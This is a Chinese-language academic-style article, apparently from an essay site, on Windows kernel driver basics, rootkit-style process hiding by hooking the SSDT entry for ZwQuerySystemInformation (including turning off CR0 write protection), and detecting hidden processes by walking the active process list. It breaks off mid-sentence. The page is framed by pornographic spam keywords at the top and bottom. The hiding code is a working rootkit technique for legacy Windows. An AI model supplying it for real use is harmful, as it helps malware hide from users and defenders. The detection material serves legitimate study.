中文字幕在线一区二区在线,久久久精品免费观看国产,无码日日模日日碰夜夜爽,天堂av在线最新版在线,日韩美精品无码一本二本三本,麻豆精品三级国产国语,精品无码AⅤ片,国产区在线观看视频

      Windows 內核級進程隱藏、偵測技術

      時間:2024-07-17 09:23:02 計算機應用畢業論文 我要投稿
      • 相關推薦

      Windows2003 內核級進程隱藏、偵測技術

        論文關鍵字: 內核 攔截 活動進程鏈表 系統服務派遣表 線程調度鏈 驅動程序簡介  

        論文摘要:信息對抗是目前發展的一個重要的方向,為了更好的防御,必須去深入的了解敵人進攻的招式。信息對抗促使信息技術飛速的發展。下面我選取了信息對抗技術的中一個很小一角關于windows內核級病毒隱藏技術和反病毒偵測技術作為議題詳細討論。

        1.為什么選驅動程序

        驅動程序是運行在系統信任的Ring0下在代碼,她擁有對系統任何軟件和硬件的訪問權限。這意味著內核驅動可以訪問所有的系統資源,可以讀取所有的內存空間,而且也被允許執行CPU的特權指令,如,讀取CPU控制寄存器的當前值等。而處于用戶模式下的程序如果試圖從內核空間中讀取一個字節或者試圖執行像MOV EAX,CR3這樣的匯編指令都會被立即終止掉。不過,這種強大的底線是驅動程序的一個很小的錯誤就會讓整個系統崩潰。所以對隱藏和反隱藏技術來說都提供了一個極好的環境。但是又對攻擊者和反查殺者提出了更高的技術要求。

        2.入口例程DriverEntry

        DriverEntry是內核模式驅動程序主入口點常用的名字,她的作用和main,WinMain,是一樣的。

        extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
        {...}

        DriverEntry的第一個參數是一個指針,指向一個剛被初始化的驅動程序對象,該對象就代表你的驅動程序,DriverEntry的第二個參數是設備服務鍵的鍵名。DriverEntry函數返回一個NTSTATUS值。NTSTATUS實際就是一個長整型,但你應該使用NTSTATUS定義該函數的返回值而不是LONG,這樣代碼的可讀性會更好。大部分內核模式支持例程都返回NTSTATUS狀態代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。

        DriverEntry的作用主要就是創建設備對象,建立設備對象的符號鏈接,設置好各個類型的回調函數等。

        例如:

      extern "C"

      NTSTATUS

      DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

      {

       DriverObject->DriverUnload = DriverUnload;                                                             <--1

       DriverObject->DriverExtension->AddDevice = AddDevice;

       DriverObject->DriverStartIo = StartIo;

       DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp;                                        <--2

       DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;

       DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;

       ...

      }

        在WDM中通過設置AddDevice回調函數來創建設備對象。在NT驅動中在DriverEntry例程中創建設備對象和符號鏈接。

        例如:

        RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化設備名字
      //創建設備

      ntStatus = IoCreateDevice (DriverObject,     

                                  0,

                                  &deviceNameUnicodeString,

                                  ##DeviceId,

                                  0,

                                  FALSE,

                                  &deviceObject

                                  );
      if ( NT_SUCCESS ( ntStatus ) )  {

          RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符號鏈接名字

      //創建符號鏈接
          ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
          if ( !NT_SUCCESS ( ntStatus ) ) {

              IoDeleteDevice (deviceObject); //如果創建符號鏈接失敗,刪除設備
                   return ntStatus;

      }

      }

        建立符號鏈接的作用就是暴露一個給應用程序的接口,應用程序可以通過CreateFile API打開鏈接符號,得到一個語柄,和我們的驅動程序進行交互操作。

        3.Unload例程

        雖然各個驅動程序的Unload例程不盡相同,但是它大致執行下列工作:

        釋放屬于驅動程序的任何硬件。

        從Win32的名字空間移除符號連接名。

        這個動作可以調用IoDeleteSymbolicLink來實現。

        使用IoDeleteDevice移除設備對象。

        釋放驅動程序持有的任何緩沖池等。

      VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )

      {

      PDEVICE_OBJECT pNextObj;

      // 循環每一個驅動過程控制的設備

      pNextObj = pDriverObject->DeviceObject;

      while (pNextObj != NULL)

      {

      //從設備對象中取出設備Extension

      PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;

      // 取出符號連接名

      UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;

      IoDeleteSymbolicLink(&pLinkName); //刪除符號連接名

      IoDeleteDevice(pNextObj); // 刪除設備

      pNextObj = pNextObj->NextDevice;

      }

      }

        4. 派遣例程

        Win2000的I/O請求是包驅動的,當一個I/O請求開始,I/O器先創建一個IRP去跟蹤這個請求,另外,它存儲一個功能代碼在IRP的I/O堆棧區的MajorField域中來唯一的標識請求的類型。MajorField域是被I/O管理器用來索引驅動程序對象的MajorFunction表,這個表包含一個指向一個特殊I/O請求的派遣例程的功能指針,如果驅動 程序不支持這個請求,MajorFunction表就會指向I/O器函數_IopInvalidDeviceRequest,該函數返回一個錯誤給原始的調用者。驅動程序的作者有責任提供所有的驅動程序支持的派遣例程。所有的驅動程序必須支持IRP_MJ_CREATE功能代碼,因為這個功能代碼是用來響應Win32用戶模式的CreateFile調用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設備的句柄,類似的,驅動程序必須支持IRP_MJ_CLOSE功能代碼,因為它用來響應Win32用戶模式的CloseHandle調用。順便提一下,系統自動調用CloseHandle函數,因為在程序退出的時候,所有的句柄都沒有被關閉。

       static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)

      {

          NTSTATUS status;

          PIO_STACK_LOCATION irpSp;

          //得到當前IRP (I/O請求包)

          irpSp = IoGetCurrentIrpStackLocation( Irp );

          switch (irpSp->MajorFunction)

          {

              case IRP_MJ_CREATE:

                  DbgPrint("IRP_MJ_CREATE\n");

                  Irp->IoStatus.Status = STATUS_SUCCESS;

                  Irp->IoStatus.Information = 0L;

                  break;

              case IRP_MJ_CLOSE:

                  DbgPrint("IRP_MJ_CLOSE\n");

                  Irp->IoStatus.Status = STATUS_SUCCESS;

                  Irp->IoStatus.Information = 0L;

                  break;

          }

          IoCompleteRequest(Irp, 0);

          return STATUS_SUCCESS;

      }

        大部分的I/O管理器的操作支持一個標準的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴展的I/O請求,使用用戶模式的DeviceIoControl函數來調用,I/O管理器創建一個IRP,這個IRP的MajorFunction和IoControlCode是被DeviceIoControl函數指定其內容。傳遞給驅動程序的IOCTL遵循一個特殊的結構,它有32-bit大小,DDK包含一個方便的產生IOCTL值的機制的宏,CTL_CODE。可以使用CTL_CODE宏來定義我們自己的IOCTL。

      例如:

      #define IOCTL_MISSLEDEVICE_AIM  CTL_CODE \

      ( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )

       NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )

      {

          NTSTATUS status = STATUS_SUCCESS;     

          PDEVICE_EXTENSION pDE;

          PVOID userBuffer;

          ULONG inSize;

          ULONG outSize;

          ULONG controlCode;                 // IOCTL請求代碼

          PIO_STACK_LOCATION pIrpStack;   //堆棧區域存儲了用戶緩沖區信息

           pIrpStack = IoGetCurrentIrpStackLocation( pIrp );

          // 取出IOCTL請求代碼

          controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;

          // 得到請求緩沖區大小

          inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;

          OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;

          //現在執行二次派遣

          switch (controlCode)

          {

              case IOCTL_MISSLEDEVICEAIM:

             ......

              case IOCTL_DEVICE_LAUNCH:

              ......

              default:    // 驅動程序收到了未被承認的控制代碼

              status = STATUS_INVALID_DEVICE_REQUEST;

          }

          pIrp->IoStatus.Information = 0; // 數據沒有傳輸

          IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;     

          return status;

      }

        5.驅動程序的安裝

          SC管理器(即服務控制管理器)可以控制服務和驅動程序。

          加載和運行一個服務需要執行的典型操作步驟:

          1.調用OpenSCManager()以獲取一個管理器句柄

          2.調用CreateService()來向系統中添加一個服務

          3.調用StartService()來運行一個服務

          4.調用CloseServiceHandle()來釋放管理器或服務句柄

       BOOL    InstallDriver()

      {

          SC_HANDLE hSCManager = NULL;

          hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

          if(hSCManager == NULL)

          {

      fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError());

              return FALSE;

          }

          SC_HANDLE schService;

      schService = CreateService( hSCManager, //SCManager database

                                 "MyDriver",             // name of service

                                  "MyDriver",             // name to display

                                 SERVICE_ALL_ACCESS,     // desired access

                                 SERVICE_KERNEL_DRIVER,   // service type

                                  SERVICE_AUTO_START,    // start type

                          SERVICE_ERROR_NORMAL, // error control type

                                  DriverPath,              // service's binary

                                  NULL,                 // no load ordering group

                                  NULL,                    // no tag identifier

                                  NULL,                    // no dependencies

                                  NULL,                    // LocalSystem account

                                  NULL                     // no password

                                  );

          if (schService == NULL)

          {

              if(GetLastError() == ERROR_SERVICE_EXISTS)

              {

                  printf("Service has already installed!\n");

              }

              printf("Install driver false!");

              return FALSE;

          }

          BOOL    nRet = StartService(schService, 0, NULL);

          if(!nRet)

          {

            if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)

              {

                  printf("Service is already running!\n");

                  return FALSE;

              }

          }

      CloseServiceHandle(schService);

          CloseServiceHandle(hSCManager);

          return TRUE;

      }

        以上對驅動程序大致框架做了一個非常簡單的介紹,這僅僅是驅動程序中的一個”Hello World!”。驅動程序是相當復雜的,由于我們只是利用驅動程序的特權,對windows內核進行修改,所以就不對驅動驅動程序進行深入討論了。

        通過Hook SSDT (System Service Dispath Table) 隱藏進程

        1.原理介紹:

        Windows操作系統是一種分層的架構體系。應用層的程序是通過API來訪問操作系統。而API又是通過ntdll里面的核心API來進行系統服務的查詢。核心API通過對int 2e的切換,從用戶模式轉換到內核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數KiSystemService()來實現的。在你使用了一個系統調用時,必須首先裝載要調用的函數索引號到EAX寄存器中。把指向參數區的指針被保存在EDX寄存器中。中斷調用后,EAX寄存器保存了返回的結果。KiSystemService()是根據EAX的值來決定哪個函數將被調用。而系統在SSDT中維持了一個數組,專門用來索引特定的函數服務地址。在Windows 2000中有一個未公開的由ntoskrnl.exe導出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應于一個數據結構,定義如下:

      typedef struct SystemServiceDescriptorTable
      {
          UINT    *ServiceTableBase;
          UINT    *ServiceCounterTableBase;
          UINT    NumberOfService;
          UCHAR    *ParameterTableBase;
      }SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;

        其中ServiceTableBase指向系統服務程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數地址,它們都包含了NumberOfService這么多個數組單元。在windows 2000 sp4中NumberOfService的數目是248個。

        我們的任務器,是通過用戶層的API來枚舉當前的進程的。Ring3級枚舉的方法:

      • PSAPI

      – EnumProcesses()

      • ToolHelp32

      – Process32First()

      - Process32Next()

        來對進程進行枚舉。而她們最后都是通過NtQuerySystemInformation來進行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數進行添加或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定進程的目的。

        2. Hook

        Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數的地址,就完成了Hook。

      OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];

      KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;

        在其他系統中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導出的 ZwQuerySystemInformation中包含有索引號的硬編碼:

      kd> u ZwQuerySystemInformation

      804011aa    b897000000      mov         eax,0x97

      804011af    8d542404        lea         edx,[esp+0x4]

      804011b3    cd2e            int         2e

      804011b5    c21000          ret         0x10

        所以只需要把ZwQuerySystemInformation入口處的第二個字節取出來就能得到相應的索引號了。例如:

      ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);

      RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);

      ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;

        3.對NtQuerySystemInformation返回的數據進行刪改

      NtQuerySystemInformation的原型:

      NtQuerySystemInformation(

              IN ULONG SystemInformationClass,   //查詢系統服務類型

              IN PVOID SystemInformation,        //接收系統信息緩沖區

           IN ULONG SystemInformationLength,   //接收信息緩沖區大小         OUT PULONG ReturnLength);       //實際接收到的大小

        NtQuerySystemInformation可以對系統的很多狀態進行查詢,不僅僅是對進程的查詢,通過SystemInformationClass號來區分功能,當SystemInformationClass等于5的時候是在進行進程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結構。

      struct _SYSTEM_PROCESSES

      {

          ULONG NextEntryDelta;   //下一個進程信息的偏移量,如果為0表示無一個進程信息

          ULONG ThreadCount;     //線程數量

          ULONG Reserved[6];     //

          LARGE_INTEGER CreateTime;      //創建進程的時間

          LARGE_INTEGER UserTime;         //進程中所有線程在用戶模式運行時間的總和

          LARGE_INTEGER KernelTime;      //進程中所有線程在內核模式運行時間的總和

          UNICODE_STRING ProcessName;     //進程的名字

          KPRIORITY BasePriority;         //線程的缺省優先級

          ULONG ProcessId;                //進程ID號

          ULONG InheritedFromProcessId;  //繼承語柄的進程ID號

          ULONG HandleCount;              //進程打開的語柄數量   

          ULONG Reserved2[2];             // 

          VM_COUNTERS VmCounters;         //虛擬內存的使用情況

          IO_COUNTERS IoCounters;         //IO操作的統計,Only For 2000

          struct _SYSTEM_THREADS Threads[1]; //描述進程中各線程的數組

      };

        當NextEntryDelta域等于0時表示已經到了進程信息鏈的末尾。我們要做的僅僅是把要隱藏的進程從鏈中刪除。

        4. 核心實現

      //系統服務表入口地址

      extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

      NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

      {

          ……

          __asm{

              mov eax, cr0

              mov CR0VALUE, eax

              and eax, 0fffeffffh //DisableWriteProtect

              mov cr0, eax

          }

          //取得原來ZwQuerySystemInformation的入口地址

      RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );

          //Hook

      ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

          //EnableWriteProtect

          __asm

          {

              mov eax, CR0VALUE

              mov cr0, eax

          }

          ……

          return STATUS_SUCCESS;

      }

        

      VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)

      {

          ……

          //UnHook恢復系統服務的原始入口地址

      ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;

          ……

      }

        

      NTSTATUS HookFunc(

              IN ULONG SystemInformationClass,

              IN PVOID SystemInformation,

              IN ULONG SystemInformationLength,

              OUT PULONG ReturnLength)

      {

          NTSTATUS rc;

          struct _SYSTEM_PROCESSES *curr;

          // 保存上一個進程信息的指針

          struct _SYSTEM_PROCESSES *prev = NULL;

          //調用原函數

          rc = (RealZwQuerySystemInformation) (

              SystemInformationClass,

              SystemInformation,

              SystemInformationLength, ReturnLength);

          if(NT_SUCCESS(rc))

          {

      if(5 == SystemInformationClass)

      //如果系統查詢類型是SystemProcessesAndThreadsInformation

              {

                  curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

                  //加第一個偏移量得到第一個system進程的信息首地址

                  if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

                  while(curr)

                  {

      if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)

                      {

                          //找到要隱藏的進程

                          if(prev)

                          {

                             

                              if(curr->NextEntryDelta)

                              {

                                  //要刪除的信息在中間

                                  prev->NextEntryDelta += curr->NextEntryDelta;

                              }

                              else

                              {

                                  //要刪除的信息在末尾

                                  prev->NextEntryDelta = 0;

                              }

                          }

                          else

                          {

                              if(curr->NextEntryDelta)

                              {

                                  //要刪除的信息在開頭

                                  (char *)SystemInformation += curr->NextEntryDelta;

                              }

                              else

                              {

                                  SystemInformation = NULL;

                              }

                          }

                          //如果鏈下一個還有其他的進程信息,指針往后移

                          if(curr->NextEntryDelta)

      ((char*)curr+=curr->NextEntryDelta);                    else

                          {

                              curr = NULL;

                              break;

                          }

                      }

                      if(curr != NULL)

                      {

                          //把當前指針設置成前一個指針,當前指針后移

                          prev = curr;

                          if(curr->NextEntryDelta)

      ((char*)curr+=curr->NextEntryDelta);

                          else curr = NULL;

                      }

                  } // end while(curr)

              }

          }

          return rc;

      }

        通過IOCTL和Ring3級的應用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,

        DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

        NULL,0,& BytesReturned,NULL)來通知驅動程序要隱藏的進程的名字。

        枚舉和修改活動進程鏈表來檢測和隱藏進程

        1. 介紹EPROCESS塊(進程執行塊)

        每個進程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關了很多信息,還有很多指向其他相關結構數據結構的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統空間中的。  

        2. 查看EPROCESS結構

      kd> !processfields

      !processfields

       EPROCESS structure offsets:

          Pcb:                               0x0

          ExitStatus:                        0x6c

          LockEvent:                         0x70

          LockCount:                         0x80

          CreateTime:                        0x88

          ExitTim e:                          0x90

          LockOwner:                         0x98

          UniqueProcessId:                   0x9c

          ActiveProcessLinks:                0xa0

          QuotaPeakPoolUsage[0]:             0xa8

          QuotaPoolUsage[0]:                 0xb0

          PagefileUsage:                     0xb8

          CommitCharge:                      0xbc

          PeakPagefileUsage:                 0xc0

          PeakVirtualSize:                   0xc4

          VirtualSize:                       0xc8

          Vm:                                0xd0

          DebugPort:                         0x120

          ExceptionPort:                     0x124

          ObjectTable:                       0x128

          Token:                             0x12c

          WorkingSetLock:                    0x130

          WorkingSetPage:                    0x150

          ProcessOutswapEnabled:             0x154

          ProcessOutswapped:                 0x155

          AddressSpaceInitialized:           0x156

          AddressSpaceDeleted:               0x157

          AddressCreationLock:               0x158

          ForkInProgress:                    0x17c

          VmOperation:                       0x180

          VmOperationEvent:                  0x184

          PageDirectoryPte:                  0x1f0

          LastFaultCount:                    0x18c

          VadRoot:                           0x194

          VadHint:                           0x198

          CloneRoot:                         0x19c

          NumberOfPrivatePages:              0x1a0

          NumberOfLockedPages:               0x1a4

          ForkWasSuccessful:                 0x182

          ExitProcessCalled:                 0x1aa

          CreateProcessReported:             0x1ab

          SectionHandle:                     0x1ac

          Peb:                               0x1b0

          SectionBaseAddress:                0x1b4

          QuotaBlock:                        0x1b8

          LastThreadExitStatus:              0x1bc

          WorkingSetWatch:                   0x1c0

          InheritedFromUniqueProcessId:      0x1c8

          GrantedAccess:                     0x1cc

          DefaultHardErrorProcessing         0x1d0

          LdtInformation:                    0x1d4

          VadFreeHint:                       0x1d8

          VdmObjects:                        0x1dc

          DeviceMap:                         0x1e0

          ImageFileName[0]:                  0x1fc

          VmTrimFaultValue:                  0x20c

          Win32Process:                      0x214

        Win32WindowStation:                0x1c4

        3. 什么是活動進程鏈表

        EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY機構的雙向鏈表。當一個新進程建立的時候父進程負責完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個全局內核變量PsActiveProcessHead鏈表中。

        在PspCreateProcess內核API中能清晰的找到:

        InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

        當進程結束的時候,該進程的EPROCESS結構當從活動進程鏈上摘除。(但是EPROCESS結構不一定就馬上釋放)。

        在PspExitProcess內核API中能清晰的找到:

        RemoveEntryList(&Process->ActiveProcessLinks);

        所以我們完全可以利用活動進程鏈表來對進程進行枚舉。

        4. 進程枚舉檢測Hook SSDT隱藏的進程。

          事實上Nactive API ZwQuerySystemInformation 對進程查詢也是找到活動進程鏈表頭,然后遍歷活動進程鏈。最后把每一個EPROCESS中包含的基本信息返回(包括進程ID名字等)。所以用遍歷活動進程鏈表的辦法能有效的把Hook SSDT進行隱藏的進程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe 導出來,所以我們可以利用硬編碼的辦法,來解決這個問題。利用內核調試器livekd查得PsActiveProcessHead的地址為: 0x8046e460.(在2000 sp4中得到的值)

        kd> dd PsActiveProcessHead L 2

        dd PsActiveProcessHead L 2

        8046e460 81829780 ff2f4c80

        PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;

      void DisplayList()

      {

      PLIST_ENTRY List = PsActiveProcessHead->Blink;

      while( List != PsActiveProcessHead )

      {

              char* name = ((char*)List-0xa0)+0x1fc;

              DbgPrint("name = %s\n",name);

              List=List->Blink;              

      }

      }

        首先把List指向表頭后的第一個元素。然后減去0xa0,因為這個時候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結構,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進程的名字信息,所以再加上0x1fc得到進程名字,并且在Dbgview中打印出來。利用Hook SSDT隱藏的進程很容易就被查出來了。

        5. 解決硬編碼問題。

        在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統中這值不一樣。在不同的SP版本中這個值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個PsActiveProcessHead的硬編碼的問題。

          ntoskrnl.exe導出的PsInitialSystemProcess 是一個指向system進程的EPROCESS。這個結構成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.

      kd> dd PsInitialSystemProcess L 1

      dd PsInitialSystemProcess L 1

      8046e450 818296e0

      kd> !process 818296e0 0

      !process 818296e0 0

      PROCESS 818296e0 SessionId: 0 Cid: 0008    Peb: 00000000 ParentCid: 0000

          DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.

      Image: System

      可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.

      kd> dd 818296e0+0xa0 L 2

      dd 818296e0+0xa0 L 2

      81829780 814d1a00 8046e460

      上面又可以看出S

      【Windows 內核級進程隱藏、偵測技術】相關文章:

      Windows 2000系統編程-進程的創建12-04

      基于OMAP5912的Linux內核移植技術03-07

      基于Windows Media技術的流媒體系統的設計與實現03-18

      Windows 中斷程序設計03-28

      基于聲波的高速公路交通流狀態偵測研究03-07

      在 DOS 下使用Windows *.WAV 文件03-03

      IMS通信中的拓撲隱藏03-07

      運用UML分析設計占先式實時內核03-18

      新時代條件下營銷內核淺析03-23

      主站蜘蛛池模板: 亚洲天堂免费一二三四区| 无码91 亚洲| 精品国产亚洲av成人一区| 久久久调教亚洲| 亚洲性爱区免费视频一区| 亚洲一区二区三在线播放| 免费人人av看| 国产成人精品自拍视频| 崇左市| 国产日韩午夜视频在线观看| 亚洲欧美日韩国产综合专区| 久久中文字幕久久久久91| 久久久久久人妻一区精品| 欧美中出在线| 国内自拍视频在线观看| 亚洲精品国产福利在线观看| 忻州市| 辽宁省| 巴彦县| 宁化县| 漠河县| 丰满熟妇人妻无码区| 双牌县| 法库县| 午夜影院91| 国产码欧美日韩高清综合一区| 国产精品一区二区三区色| 无极县| 午夜日韩成年人视频在线观看| 97人妻蜜臀中文字幕| 国产91AV免费播放| 亚洲一区二区三区品视频| 久久免费网站91色网站| 亚洲精品一区二区三区四| 亚洲免费观看一区二区三区| 天天中文字幕av天天爽| 人妻精品一区二区免费| 免费在线观看国产v片| 国产人av一区二区三区在线观看| 亚洲毛片美女毛片美女| 无码国产精品色午夜|